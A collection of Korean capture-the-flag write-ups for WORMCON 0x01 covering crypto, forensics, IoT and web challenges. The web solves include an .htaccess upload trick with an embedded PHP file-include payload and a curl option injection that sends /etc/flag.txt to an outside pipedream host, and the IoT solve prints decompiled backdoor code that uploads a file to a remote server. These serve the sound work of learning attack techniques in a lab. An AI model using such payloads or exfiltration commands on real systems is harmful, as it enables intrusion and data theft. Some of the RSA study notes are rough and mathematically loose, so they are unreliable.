#c = "020f4b82b9d771a2625de1339269ead8599308a5119f3c8a3eb2e266f04210c2ac7e565707<KEY>a99a8d57d94e39fa7001dd926ac42e4e9c944cd086868605d59db718caf0738f9983575119e4ae63f84c7a274eba7b39b9dc19a749a9bca7bead0aa75ea8f2c34a48dda8a4812e933249e945f66858785947d<KEY>48ba167d207d7a3836c7dee679a7ac1e004e0399598994e7542d63e65eb24b41158c66728720000"
#The reason packet 4 [0:2] is dummy
# last \x00 is need to remove !
c = 0x0f4b82b9d771a2625de1339269ead8599308a5119f3c8a3eb2e266f04210c2ac7e5657072ecd5fb777a99a8d57d94e39fa7001dd926ac42e4e9c944cd086868605d59db718caf0738f9983575119e4ae63f84c7a274eba7b39b9dc19a749a9bca7bead0aa75ea8f2c34a48dda8a4812e933249e945f66858785947d95168154b18e44f0ffa4f3c0a336ee2fc72f6b0aa1deeba5cd4646e68ae591923dc2894597862a753c3f86409cc19b8b5070de08fdab340618e6fb9370d95bf07670d76cdf320d5bd3bf10c26ec89f47956a4e6f850f751d7480c82cb25f7a48ba167d207d7a3836c7dee679a7ac1e004e0399598994e7542d63e65eb24b41158c6672872
# d is private key.
# but, I have public key
# so Just check e and n values.
pubKey = RSA.importKey(open('sstf.pub','r').read())
e = pubKey.e
n = hex(pubKey.n)
print(f'e is {e}')
print(f'n is {n}')
m = pow(c,e,int(n,16))
print(type(m))
print(hex(m)) # RSA_encryption_option(&tmp2,32,&v4)
print(len(hex(m)))
md53 = binascii.unhexlify(hex(m)[-64:])
print(md53)
h = hashlib.md5()
h.update(b'A')
h.update(md51)
h.update(md52)
h.update(md53)
key = h.digest()
h = hashlib.md5()
h.update(b'BB')
h.update(md51)
h.update(md52)
h.update(md53)
key += h.digest()
h = hashlib.md5()
h.update(b'CCC')
h.update(md51)
h.update(md52)
h.update(md53)
iv = h.digest()
print(f'key is {key}')
print(f'iv is {iv}')
# packet 8
# data + padding(\x00)
# no need on exploit I think
# packet 10
# 64 bytes so need padding
'''
*((_BYTE *)&a3 + (signed int)AES256_Decrypt((__int64)&buf, 64u, (__int64)&a3)) = 0;
'''
enc = 'dc014f2266d9368dbd6fb5d3fa1d675cc2172ae703872afbadc94dc8cbc8afcda7c1177253fe51114041ad0103bbb86500000000000000000000000000000000'
aes = AES.new(key, AES.MODE_CBC, iv)
print(aes.decrypt(binascii.unhexlify(enc)))
```
<file_sep>/WORMCON0x01/cryptography/roxoxor/writeup/roxoxor-writeup.md
# Crypto roxoxor
문제의 지문을 보면 나의 이름으로 로봇을 실행시킬 수 있다고 한다.
```python
Rick got a robot named "XORius" as a gift by his parents which
activates with a key, in user manual it was written -
"we suggest you to use your name is X factor for ROBO ^_^"
so Rick followed the user manual, his bot was working fine and
now started saying
"2506110631060d103c5a15582036045b3c075734640015580d10531e0d1c134a2f"
But now Rick has fear of his parents and he wants your help to
understand his ROBO
```
X Factor는 Rick이고 암호화 데이터는 "2506110631060d103c5a15582036045b3c075734640015580d10531e0d1c134a2f" 이다.
XOR 시키면 플래그를 얻을 수 있다.
```python
X = "Rick"
A = [0x25,0x06,0x11,0x06,0x31,0x06,0x0d,0x10,0x3c,0x5a,0x15,0x58,0x20,0x36,0x04,0x5b,0x3c,0x07,0x57,0x34,0x64,0x00,0x15,0x58,0x0d,0x10,0x53,0x1e,0x0d,0x1c,0x13,0x4a,0x2f]
for i in range(0,len(A)):
A[i] ^= ord(X[i%len(X)])
for i in A:
print(chr(i)),
```
FLAG : **wormcon{n3v3r_g0nn4_6iv3_y0u_up!}**
<file_sep>/WORMCON0x01/web/file-upload.md
# File Upload
```
Do you know how to upload files?
http://34.122.77.246/
Note: Flag is located in etc directory
Do not try to upload rev shell on web challenges there is no such requirement.
Author : x3rz
```
문제에 접속하면 다음과 같은 화면이 출력된다.

직감적으로 webshell을 올려야겠구나 싶어서 이것저것 올려봤지만 php, phtml 등이 막혀있어서 올라가지 않았다.
## dirbuster
삽질하고 있는 나에게 길을 열어준 것은 다름아닌 상수형.

`dirbuster`를 돌려서 결과를 알려주셨다. 가장 먼저 `/.well-known/security.txt`에 접근했는데, `/backup.zip`에 대한 힌트가 있었다. 해당 zip 파일을 다운받아 풀어보니 `index.php.bak` 파일이 존재했다.
## index.php.bak
```php
<!DOCTYPE html>
<html>
<body>
<div align="center">
<form action="" method="post" enctype="multipart/form-data">
<br>
<b>Select image : </b>
<input type="file" name="file" id="file" style="border: solid;">
<input type="submit" value="Submit" name="submit">
</form>
</div>
<?php
if (isset($_POST['submit'])) {
$target_dir = "uploads/";
$name = $target_dir . basename($_FILES['file']['name']);
$ext = strtolower(pathinfo($name)['extension']);
$target_file = $target_dir . basename($_FILES['file']['name']);
// var_dump($ext);
$uploadOk = 1;
$blacklist = array("php","php5","php4","php3","php2","php1","html","htm","phtml","pht","pHp","pHp5","pHp4","pHp3","pHp2","pHp1","Html","Htm","pHtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","jSp","jSpx","jSpa","jSw","jSv","jSpf","jHtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","aSp","aSpx","aSa","aSax","aScx","aShx","aSmx","cEr","sWf","swf");
if(!in_array($ext, $blacklist)){
if(move_uploaded_file($_FILES['file']['tmp_name'], $name)){
echo "<script>alert('uploaded!!')</script>";
}
}else {
echo "<script>alert('not allowed!!')</script>";
}
}
?>
</body>
</html>
```
백업 파일에는 우회의 요소가 많아보이지만 실제 서비스와 좀 달랐다. 백업파일보다 보안성이 높아진듯 했다. webshell 확장자는 거의 다 막혀있었다.
## .htaccess
php 관련 확장자를 막아두었으므로 php 해석 확장자를 조작할 수 있는 `.htaccess` 업로드가 가능한지 확인해봤다.

갑자기 접속이 안된다는 팀원의 제보. htaccess 파일 문법에 오류가 있었던 덕(?)에 htaccess가 잘 동작함을 알 수 있었다. png는 다른 팀 사람들도 자주 테스트해볼 것 같아서 gif를 php로 해석 가능하도록(~~?? 도긴개긴,,~~) `.htaccess` 파일을 조작했다. 이후, gif 업로드 패킷을 조작해서 php 코드를 삽입해서 플래그를 얻어낼 수 있었다.
처음에는 `system`이나 `shell_exec`와 같은 함수들을 사용했는데 잘 안되길래 다음과 같이 `include`로 진행했다.
```
Content-Disposition: form-data; name="file"; filename="js6.gif"
Content-Type: application/octet-stream
<?php
include "/etc/flag.txt";
?>
```
## flag
```
wormcon{f1l3_upl04d_c0uld_b3_m355y_0qw13eq}
```<file_sep>/README.md
# Demon-CTF-Writeup
Demon팀이 작성한 다른 대회 라이트업
<file_sep>/WORMCON0x01/web/reveal-me.md
# Reveal Me
```
Everything is in front of you.
http://34.72.61.239/
Note: Flag is located in etc directory.
Author : x3rz
```
front? frontend? 프론트엔드에 모든게 있다?
문제 사이트에 접속하면 로그인 사이트밖에 나오지 않는데, 정말 이것저것 시도해봤지만 어떻게 진행해야 할지 감이 잡히지 않았다. 그러다가 상수형이 `robots.txt`에 백업 파일 힌트가 있다고 알려주셔서 확인해보니 `/backup/index.php.bak`이 비허용 되어있음을 알 수 있었다.
## /backup/index.php.bak
```php
<?php
error_reporting(0);
session_start();
if (isset($_POST['submit'])) {
$pass = "<PASSWORD>";
extract($_POST);
if (!empty($password)) {
if ($password === $pass) {
$_SESSION['last_page'] = "REDACTED";
header('Location: fetch_url.php');
}
else{
die("You have entered wrong password\n Please contact Admin for your password.");
}
}
}
?>
```
코드를 대충 훑어보면 `passwrod`에 대한 조건이 만족하면 `last_page`를 설정하고, `fetch_url.php`로 넘어간다. 혹시나 하는 마음에 이 파일도 백업파일이 있나 확인해보니 접근 가능했다.
## /backup/fetch_url.php
```php
if (isset($_GET['url'])) {
$url = $_GET['url'];
if(preg_match('/-F|-T|index.php/i',$url)) die("Use of Flags are banned.\n Dont try to exploit.\n Your malicious intent will be recorded.");
system(escapeshellcmd('curl -l '.$url));
}
```
이 페이지는 `url` 매개변수를 통해 `system` 함수를 사용할 수 있다. 기본적으로 `curl`을 이용할 수 있도록 해놓았다. 다른 명령 실행을 방지하고자 `escapeshellcmd`함수를 사용했고, `preg_match`를 통해 파일을 전송할 수 있는 옵션 값을 막아두었다.
## command injection
`/etc/flag.txt`를 명령을 통해 어떻게든 밖으로 빼내야 했기 때문에 파일을 포함한 request를 생성하는 것을 목적으로 했다.
```
http://192.168.127.12/fetch_url.php?url=-d+@/etc/flag.txt+"https://enbux3dy62rav.x.pipedream.net"
```
상수형의 아이디어로 `@/etc/flag.txt` 와 같은 형태로 파일을 불러들여 `-d` 옵션을 통해 플래그를 읽어낼 수 있었다.
## flag
```
wormcon{3xtr4ct_4xtr4ct3d_my_fl4g_w14e14e}
```<file_sep>/WORMCON0x01/digital_forensics/wormonetic-part-1/writeup/wormonetic-writeup.md
지문을 보면, 한 인턴이 의심스러워 그의 피시 디스크를 덤프 떠두었는데 인턴이 해커와 접촉할 때 사용한 이름과 접촉을 시도한 해커의 이메일 주소를 알아내라고 한다.
```c
Welcome to our organisation wormonetics.
Our R&D team is working on a secret project Project Σ.
But due to an insider threat our Project is at risk
[ As per the law of corporate yes he is Intern ].
After doing a lot of analysis we got the final person who is responsible
but we find strong evidence so we capture the image of his PC Disk and
for further Investigation we need your help in return
we will provide you points 😄
So now you have to find what name our intern is using for c
ontacting the Hackers and it will be great
if you also find the email address of whom he is contacting.
Flag : wormcon{name_email}
```
주어진 메모리 덤프는 Windows였으며, 한 유저의 Local 데이터들을 분석하다보면 이 회사는 Thunderbird 프레임워크를 이용하여 이메일을 주고 받을 수 있음을 알 수 있다.
Thunderbird 특성 상 SENT, TRASH 등의 파일이 평문 저장 되어 있는데 Sent 데이터를 열람하면 인턴이 사용한 닉네임과 인턴과 메일을 주고받은 해커의 이메일 주소를 알 수 있다.
FLAG: wormcon{[<EMAIL>](mailto:<EMAIL>)}
<file_sep>/WORMCON0x01/iot/Firmware-2/writeup/firmware2-writeup.md
# IOT - Firm #2
MIPS 환경으로 구성 된 펌웨어 덤프를 제공해준다.
덤프에서 /usr/bin에 b4cKD00R라는 바이너리가 제공된다.

바이너리를 열어보면, 어떤 함수에서 연산을 거쳐 복호화를 진행하고 그 값을 inet_addr에 대입한다. 이는 곧 공격에 이용 될 주소를 생성시키기 위한 과정으로 볼 수 있다.
해당 주소는 단순히 암호화 문자열과 1 바이트 XOR이 존재한다.
b4cKD00R의 코드는 다음과 같다.
- Code #1
```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
struct sockaddr addr; // [rsp+0h] [rbp-40h]
_IO_FILE *v5; // [rsp+18h] [rbp-28h]
int v6; // [rsp+20h] [rbp-20h]
int fd; // [rsp+24h] [rbp-1Ch]
char *filename; // [rsp+28h] [rbp-18h]
int v9; // [rsp+34h] [rbp-Ch]
char *cp; // [rsp+38h] [rbp-8h]
cp = (char *)fdsrygb();
v9 = 80;
filename = "send.txt";
fd = socket(2, 1, 0);
if ( fd < 0 )
{
perror("[-]Error in socket");
exit(1);
}
puts("[+]Server socket created successfully.");
addr.sa_family = 2;
*(_WORD *)addr.sa_data = v9;
*(_DWORD *)&addr.sa_data[2] = inet_addr(cp); // mlskxksi.vulnfreak.org
v6 = connect(fd, &addr, 0x10u);
if ( v6 == -1 )
{
perror("[-]Error in socket");
exit(1);
}
puts("[+]Connected to Server.");
v5 = fopen(filename, "r");
if ( !v5 )
{
perror("[-]Error in reading file.");
exit(1);
}
send_file(v5, fd);
puts("[+]File data sent successfully.");
puts("[+]Closing the connection.");
close(fd);
return 0;
}
```
- Code #2
```c
__int64 fdsrygb(void)
{
char v1[8]; // [rsp+0h] [rbp-20h]
strcpy(v1, "=<#;(;#9~&%<>6\"51;~?\"7");
return dgdcvnuosd(v1);
}
__int64 __fastcall dgdcvnuosd(char *a1)
{
__int64 v2; // [rsp+10h] [rbp-30h]
__int64 v3; // [rsp+18h] [rbp-28h]
int v4; // [rsp+20h] [rbp-20h]
__int16 v5; // [rsp+24h] [rbp-1Ch]
int v6; // [rsp+34h] [rbp-Ch]
char v7; // [rsp+3Bh] [rbp-5h]
int i; // [rsp+3Ch] [rbp-4h]
v7 = 80;
v2 = 0LL;
v3 = 0LL;
v4 = 0;
v5 = 0;
v6 = strlen(a1);
for ( i = 0; i < v6; ++i )
*((_BYTE *)&v2 + i) = v7 ^ a1[i];
return 0LL;
}
```
익스플로잇 코드는 다음과 같다.
- Code #3
```c
#include <stdio.h>
#include <string.h>
unsigned char test[1000] = "\x3d\x3c\x23\x3b\x28\x3b\x23\x39\x7e\x26\x25\x3c\x3e\x36\x22\x35\x31\x3b\x7e\x3f\x22\x37";
int xor = 80;
int main()
{
for(int i=0; i<strlen((char *)test); i++)
{
test[i] ^= xor;
printf("%c",test[i]);
}
}
```
Code #1에서 요구하는 주소로 접속하게 된다면, send.txt 파일을 열겠다는 행위가 보여지지만 이는 딱히 볼필요가 없다. 복호화 된 주소가 매핑 된 포트는 80포트이기 때문이다.

FILE: [https://drive.google.com/file/d/1Khw6__76SPGYuNMInHrYd6i67WnGycqO/view?usp=sharing](https://drive.google.com/file/d/1Khw6__76SPGYuNMInHrYd6i67WnGycqO/view?usp=sharing)
<file_sep>/WORMCON0x01/cryptography/rsa/writeup/Study First Case RSA.md
# [KR ver] Study case RSA [wormcon CTF 2021]
# Prolog
대회 당시 풀지 못하였다. 크립토를 조금 더 경험하고 싶어 마음을 가다듬고 문제를 들여다보았다.
p,q에 대한 기초부터 차근차근 이틀간 공부를 하고 마침내 플래그를 볼 수 있었다. 내 인생 처음으로 RSA를 복호화해본 날이다.!
사실, 이 문제 하나 이해했다고 다른 문제를 내가 풀 수 있을거라는 확신은 없다. 😱
RSA나 기타 암호학문제는 많은 경험이 쌓여야 할 거 같다.
푸는데 이틀 걸렸다. 🥵
---
대회 끝나고, 출제자한테 RSA문제는 어떻게 만들 수 있는건지도 물어봤는데 Condition 하나는 꼭 지켜야한다고 했다.
```python
"if 1 < m < n"
m means 'message'.
n means 'candidate modular'
찾아보니 아래의 공식때문에 저 룰이 필수적으로 만족되어야 한다.
```

---
## Let we see the source code first
소스코드를 살펴보도록 하자. Crypto 관련 문제들은 소스코드가 정말 짧다는 것이 특징인 것 같다.
```python
#!/usr/bin/env python3
from Crypto.Util.number import *
FLAG = open('flag.txt', 'rb').read() # 출제자만 알고 있는 이 플래그를 이용한다
bits = 512
e = 65537 # 자연로그가 아니라 encryption에서 따온 것이라 함 , 65537 역시 소수이다.
# RSA에서 자주 사용되는 숫자라고 하니 기억해두자.
p = getPrime(bits) # 아직은 이놈이 뭐하는 놈인지 모른다고 가정해보자.
q = getPrime(bits)
n = p*q
phi = (p-1)*(q-1)
d = inverse(e, phi) # 나머지 연산
hint = 2*d*(p-1337)
m = bytes_to_long(FLAG) # plain text.
c = pow(m, e, n) # encrypt encrypt encrypt session
print(f"n = {hex(n)}")
print(f"e = {hex(e)}")
print(f"c = {hex(c)}")
print(f"hint = {hex(hint)}")
```
다들 아시다시피 RSA는 Asymmetric Key이다. 기본적으로 다들 알고 있는 지식은 대칭키는 키가 하나이고 비대칭키는 일단 키가 2개이다. 그리고, 단 한사람 '저는 개인키를 소지하고 있습니다' 라고 말할 수 있는 사람만 이 암호를 복호화해서 열람할 수 있다.
그나저나, 이 문제에서는 p와 q가 직접적으로 노출되어 있지 않다.
그래서 처음에 Factor를 추출해주는 사이트를 이용해보았었다. 하지만, 값이 너무 커서 그런지 사이트에서 소수(p 그리고 q)가 발견되지 않았다.
512 * 512를 하게되면, 1024Bits(128Bytes). 엄청 큰 값이 나오게 된다. 😇
이렇게 생각해본 이유는 다음과 같이 테스트 해봤기 때문이다. 학생 때는 몰랐던 수학의 신비로움을 우연히 발견했다. 갑자기 수학이 재밌어진다.
```python
>>> 444 * 44
19536 => Length : 5 [444(n=3) + 44(n=2)]
>>> 444 * 444
197136 => Length : 6
>>> 444 * 4444
1973136 => Length : 7
```
gerPrime 함수 이름만 보면 직관적으로 소수를 구한다는 것을 예측할 수는 있지만, 내부 기능이 궁금해졌다.
---
## getPrime 함수
- Study case
> getPrime(N, randfunc=None)
getPrime(N:int, randfunc:callable):long Return a **random** N-bit prime number.
[https://pythonhosted.org/pycrypto/Crypto.Util.number-module.html](https://pythonhosted.org/pycrypto/Crypto.Util.number-module.html)
[https://github.com/pycrypto/pycrypto/blob/7acba5f3a6ff10f1424c309d0d34d2b713233019/lib/Crypto/Util/number.py#L169](https://github.com/pycrypto/pycrypto/blob/7acba5f3a6ff10f1424c309d0d34d2b713233019/lib/Crypto/Util/number.py#L169)
```python
def getPrime(N, randfunc=None): # 현재 문제에서 N은 512
"""getPrime(N:int, randfunc:callable):long
Return a random N-bit prime number.
If randfunc is omitted, then Random.new().read is used.
"""
if randfunc is None:
_import_Random()
''''
_def _import_Random():
global Random, StrongRandom
from Crypto import Random
from Crypto.Random.random import StrongRandom
''''
randfunc = Random.new().read # 주석과 현 문제 소스코드를 동시에 비교해보면, randfunc는 None이다.
# 그러므로, Random 클래스를 이용하여 임의의 랜덤 값을 만들 수 있다.
# 512 대입
number=getRandomNBitInteger(N, randfunc) | 1 # 무슨 값인지 모르겠지만 반환 된 값과 무조건 1하고 OR 연산을 취해준다
while (not isPrime(number, randfunc=randfunc)): # randfunc는 up to computer calc
number=number+2 # number += 2 계속 2씩 더해주게 되는군 2의배수를 기준점으로 해야해서 그런거 같음
return number
```
**Random.new().read**를 사용해본 경험이 없었기에 이를 적용했을 때 어떤 값이 반환되어 나오는지 알 필요가 있다고 생각했다.
```python
>>> from Crypto import Random
>>> from Crypto.Random.random import StrongRandom
>>> randfunc = Random.new().read
>>> print(randfunc)
<bound method _UrandomRNG.read of <Crypto.Random._UrandomRNG object at 0x10b6aec50>>
>>> print(dir(randfunc))
['__call__', '__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__func__', '__ge__', '__get__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__']
>>> print(type(randfunc))
<class 'method'>
```
형태가 method이다. method 자체를 getRandomNBitInteger에 대입하고 있음을 알 수 있다.
```python
number=**getRandomNBitInteger**(N, **randfunc**) | 1
```
```python
randfunc = Random.new().read # object (class is method)
number=getRandomNBitInteger(N, randfunc) | 1
# But, why this method also randfunc value's default is None?
def getRandomNBitInteger(N, randfunc=None):
"""getRandomInteger(N:int, randfunc:callable):long
Return a random number with exactly N-bits, i.e. a random number
between 2**(N-1) and (2**N)-1.
If randfunc is omitted, then Random.new().read is used.
This function is for internal use only and may be renamed or removed in
the future.
"""
value = getRandomInteger (N-1, randfunc) # return 54 (If bits=511)
value |= 2L ** (N-1) # Ensure high bit is set
assert size(value) >= N # checker
return value
# go to the getRandomInterger function instead
def getRandomInteger(N, randfunc=None):
"""getRandomInteger(N:int, randfunc:callable):long
Return a random number with at most N bits.
If randfunc is omitted, then Random.new().read is used.
This function is for internal use only and may be renamed or removed in
the future.
"""
if randfunc is None:
_import_Random()
randfunc = Random.new().read # random object generated
S = randfunc(N>>3) # S is random value
# If N is 512, the N>>3 == N / 8(2^3)
# So, S is 512 / 8 => 64
odd_bits = N % 8 # N requires a multiple value of 8.
# odd_bits = 512 % 8 == 0
# so skip route 1.
# If N is 511, the N>>3 is 7
# So, S is 7.
# However, odd_bits is not Zero
# Can go route 1 instead
# [+] randfunc(1) equal 0x00-0xFF
# [+] In this case, the odd_bits is 7 therefore, the result is 1
# if ord(randfunc(1)) is 95
# the char will be set 47 ( 95 >> 1 )
# 47 + 7 = 54
#[route 1]
if odd_bits != 0:
char = ord(randfunc(1)) >> (8-odd_bits)
S = bchr(char) + S # goto the route 2 also
# [route 2]
value = bytes_to_long(S)
return value
```
gerPrime ← getRandomNBitInteger ← getRandomInteger
- If the bits set is 511, return getPrime's length is 154
- If the bits set is 512, return getPrime's length is 154
- if the bits set is 512 (again), return getPrime's length is 155
결국, 소수는 랜덤으로 뽑히기 때문에 길이 역시 달라짐을 알수 있다. 사실, RSA에서는 이 부분은 중요하지 않은거같다. 핵심은 p*q를 해서 n이라는 값을 도출할 수 있는 것.
이로써 getPrime의 전체 기능을 알게 되었다. 무야호 🥳
랜덤 데이터의 값이 **소수가 나올 때 까지** 무한반복시켜 나온 반환 값이므로 무조건 소수가 된다.
---
## What is 'n' ?
- Study case
드디어 p와 q에 대한 것은 인지하였으니, n에 대해 알아보도록 하자.
몇시간 전만해도 n이 왜 p*q인지 몰랐는데, 조금전에 곱셈의 규칙을 파악하게 됨으로써 p*q를 해야하는 이유를 알 것도 같다...
외울필요가 없는 것이다. 정확한 이해를 한지 모르겠지만, 내가 현재 이해하기로는 p의 바이트 수와 q의 바이트 수를 합치는 것과 둘의 리턴값은 같은 선상에 놓아야하는 것이면서도 아닌 것이기도 한 형태인거같다.
$\phi(N) = (p-1)(q-1)$
문제라고 생각하지말고 극단적인 예시를 들어보면, $(p-1)(q-1)$값을 일단 모른다고 가정하고 N이 10인것은 알고 있을 때, $\phi(10) = 1,3,7,9$ 총 4개가 나오게 되니까, $(p-1)(q-1)$은 무조건 4가 된다라고 리버싱할 수 있다.
그럼 p와 q는 추측할 수 있다. 하지만, 중요한건 p,q는 무조건 소수여야한다는 것.
p=3, q=3일 경우, 4가 성립하게 된다.
하지만, 이 공식을 아는 동생에게 검수받아봤는데 $p^2$ 형태가 되면 euler phi$(\phi)$계산이 달라지게 된다고 한다. 이해는 나중에하고 일단 동생에게 들은 것을 참고하면, 다음과 같다.
${p^(k-1)} * (p-1)$
wikipedia를 보면 다음과 같이 적혀있다. "두 개의 서로 다른 소수를 고른다"

## What is 'e'?
- Study case
우선 형식적인 말로 풀어보자면, $e$는 **반드시 $\phi(N) > e$ && $\phi(N)$과 서로소여야한다.**
현재 문제에서 e값을 65537로 Set 해두었음을 알 수 있고, 이 말인 즉슨 $\phi(N) > 65537$ 이라는 것이다.
다시 말해, $(p-1)(q-1)$ 은 65538개 이상의 서로소를 가지고 있게 된다.
## What is 'phi'?
- Study case
위에서의 공식 $(p-1)(q-1)$ 자체가 $\phi$ 이다. $N$은 이 코드 라인에는 관여하지 않는다.
## What is 'd'?
- Study case
일단 문제 코드를 다시 살펴보자.
```python
d = inverse(e, phi)
```
inverse 함수 역시 library에 적용되어 있는 함수이다.
```python
# u is e
# v is phi
def inverse(u, v):
"""inverse(u:long, v:long):long
Return the inverse of u mod v.
"""
u3, v3 = long(u), long(v) # casing first
u1, v1 = 1L, 0L
=> I don't know why just set hardcoded(1 and 0) " u1 and v1 "
while v3 > 0:
q=divmod(u3, v3)[0] # return format tuple via quotient, remainder
u1, v1 = v1, u1 - v1*q
u3, v3 = v3, u3 - v3*q
while u1<0:
u1 = u1 + v
return u1
```
d는 개인키라고 불리운다. 이름만 들어도 아주아주 중요한 녀석임을 인지할 수 있다. 이 값을 구하기 위해 역함수를 이용했음을 코드를 통해 식별할 수 있다.
$(e * d) \% \phi(n) = 1$ 이라는 공식을 기억해야한다. 작은 숫자로 계산하여 흐름을 파악하면 좋을 거 같아, 이런 시나리오를 만들었다.
> $e = 4 , d = ? , \phi(n) = ?$ 라고 가정해봤을 때, 반환값이 1이 나와야한다.
나올 수 있는가? 나올 수가 없다 왜냐하면 짝수 4와 3만 나머지 연산해서는 1이라는 값이 나올 수 있지만 d가 1일 수는 없을 것이고 (암호화의 의미가 사라지니까), 4는 소수가 아니기 때문이다.
그럼 기억할 게 하나 더 생긴다. e 역시 짝수값이 나오면 안된다.
> 출제자는 임의의 숫자를 생각없이 준게 아니다.
$e=3, d=?, \phi(n)=?$ 은 1이 나올 수 있다.
$\phi(n)$=16 일 때, (3*d) % 16 = 1 ⇒ 3d % 16 = 1 ⇒ $d=11$
이 상황일 때 개인키는 11이 된다고 생각하면 된다.
자 그렇다면, 이렇게 값이 작은경우 침입자도 쉽게 나머지 연산에 쓰이는 값을 알아낼 수 있겠지만, 어마어마하게 큰 숫자를 조합하여 메시지를 암호화 할 경우는 손쉽게 해결할 수 없을 것이다. 그러므로 '단 한사람에게'만 키를 준다고 표현하는 거 같았다.
# Do u know what is author's intend?
- Study case
소스코드 분석은 막바지에 다다랐다. 이 코드를 보자.
```python
hint = 2*d*(p-1337)
```
왜 이것이 힌트일까? 1337이 가지는 의미를 알아야한다.
l337? 으로 준 것은 아닐거다..
머리를 정리해보는 시간을 가졌다.
1. 1337은 소수이다.
2. d는 개인키이면서, $(e*d) \mod\ \phi(N) = 1$ 에서 가지고 놀 수 있다.
3. 개인키를 출제자가 알려주지는 않았다.
4. 하지만, hint 값을 알고 있으니 d를 구할 수 있는 계기를 준 것이다.
5. p도 +1337하면 구해진다.
자 여기서 의문점, d와 p 두개 변수가 공백으로 되어있다. 단순한 사칙연산으로 추측할 수가 없다.
그러니 아직 무야호~ 할 때가 아니다.
여기서 잘 생각해야한다. d를 먼저 구하러 갈 것인가, p를 먼저 구하러 갈 것인가? 나는 p를 선택했다.
왜냐하면, d는 $inverse(e,\phi)$의 결과값인데, $\phi$를 구하는 공식이 $(p-1)(q-1)$이기 때문이다.
과연 나의 선택은 옳았던 것일까.
역원에 대해 검색 검색 검색을 거치다 Fermat's little theoreom에 대해 공부하게 되었다. 아하. 이 녀석이 바로 RSA에 꼭 필요한 개념이었다.
그림으로 대신한다.
첫번째 그림은 $p\ mod\$ 연산 취했을 때 0이 나온다. 하지만, Wrong이라고 적어두었다. 왜냐, $p$가 2일 경우 3번 곱하는 건 불가능하기 때문이다.

두번째 그림은 $p$가 3일 경우이다. 물음표에서 보면, 이 역시 5번 곱하기 때문에 $p-1$에 성립하지 않음을 알 수 있다. 하지만! $a^(3-1)$의 경우 $2*2 \equiv 1 (4\ mod\ p)$ 가 성립하게 된다.
p가 3, a=5일 경우, $5*5 \equiv 1\ (25\ mod\ 3)$
p가 3, a=1337일 경우, $1337 * 1337 \equiv 1\ (1787569\ mod\ 3)$
**p가 3, a=5315313일 경우, $5315313\ *\ 5315313\ \equiv\ 0\ ( 28252552287969\ mod\ 3)$ 왜 이건 성립하지 않는걸까? 3배수이기 때문이다.**
p가 3, a=4일 경우, $4\ * 4\ \equiv\ 1\ (16\ mod\ 3)$ a는 짝수인데 1이 나온다? a값은 짝수여도 상관없다는 얘기다.

그렇다면, p가 마냥 소수라고 무조건 다 사용할 수 있는게 아니다.
**If isPrime(p) && p % i ≠ 0 일때만 가능한 것이다.**
하지만, $2 ^ (p-1) \equiv 1$이 나왔다고 해서 1000000% p는 소수다라고 생각하면 또 안된다고 한다. 알다가도 모르겠다.
다시 문제로 돌아와보자.
```python
hint = 2*d*(p-1337)
```
hint = 2d * (p-1337)
```python
hint = 0x7acdc2f1c0acd1fb471f7804a984b962206babbbc8aba1c6a06757b1a10ba3941e5d9d5a1f19b8d9ed9facb48f8f0beda5366ed62c77303a5749e96f1cb820fd0d4d4e7ac1fc15207ae36f9a5aa0fdd9240605277d5ba51dee5075186fbea7340a5b2d09d82e025485ecedd7c505265e81c57db7ce72e722c0179f71669413c54fced2b3663b2171e38554d00e876c67b5d221bea6b1c7345fe1ae024ffdd72afd12f79522ac96932f6505d9ce8e7abad89182bcb7911b6a1dc7054c7a42b304
```
d ??
p ??
미지수 하나를 통해 p를 구할 수 있다. 미지수를 x로 두면,
$x * x^-1 = x^(1-1)\ = x^0=1\ \equiv x*y \equiv 1$이 되는 공식이 있다.
이를 이용하여 GCD(Greatest Common Divisor)를 사용할 수 있다고 한다.
최대공약수를 이용한 공식은 $GCD(a,p)\ \equiv 1 (a\ \not\equiv\ p,a\ \not\equiv\ 0)$
# Let me try solve the problem
- Exploit
소스코드를 보면, 핵심은 p,q라고 생각할 수 있지만 나는 핵심을 c = pow(m, e, c)로 두고 접근해보았다.
어쩌면 당연할수도 암호화 결과 데이터를 만들어내는 핵심부분이니까.
페르마 소 정리를 다시 상기해보면, 평문을 가지고 암호화하는 방식이 이거였다.
$C = M^e\ mod\ n$
그런데 여기서는 c방식이 pow(x,y,z)로 되어있다. pow를 거듭제곱으로만 알고 있었는데 3번째 인자까지 합해지면, z는 mod에 이용될 수 있다.

그럼, 이 간단한 한줄로 수식으로 보면 약간 어질어질할수도 있는 연산을 만들어버릴 수 있다.
암호화와 복호화는 공통적으로 사용하는게 있다. 그건 바로 n이다. n은 곧, $(p*q)$
지금은 비록 내가 p와 q를 별도로 알진 못하지만! **출제자는 n을 친절하게 알려줬다.**
자, 암호문을 복호화 하는 과정은?
$M = C^d\ mod\ n$
출제자가 준 데이터는?
```python
1. n값 aka q*q
2. e값 나의 친구에게 던져줄 공개키에 들어가는 숫자
3. c값 나의 친구가 나에게 공개키를 이용하여 만들어준 암호화 데이터
4. 친절하게 알려준 hint 2*d*(p-1337)
```
M = pow(c, ?, n)
d를 구하는 방법
$(e*d)\ mod\ (p-1)(q-1) \equiv 1$
e 이미 알고 있음
d 모름
(p-1)(q-1)은 모르는데 p*q는 알고 있음
- Simple Example
p=5 q=7일 때
5*7=35
4*6=24
sub ⇒ 11
p=11, p=13일 때
11 * 13 = 143
10 * 12 = 120
sub ⇒ 23
이건 선 넘은 분석이라고 판단되었었음.
p와 q는 무조건 소수여야함. p-1, q-1은 합성수여야함.
합성수라는 것은? 최대공약수가 만들어질 수 있다는 것임.
GCD는 일단 친절하게 파이썬 라이브러리에서 제공해줌.
[https://www.programcreek.com/python/example/92185/Crypto.Util.number.GCD](https://www.programcreek.com/python/example/92185/Crypto.Util.number.GCD)
4번은 youtube를 통해 페르마 소정리를 배울 때 밑을 줘야한다고 배웠다.
```python
hint = 2*d*(p-1337)
```
hint는 h로 칭한다
$a^h = a^(2*d*p-1337)\ mod\ n$
d로 되어있는 것은 복호화를 진행하는데 도움을 주겠다는 것이다.
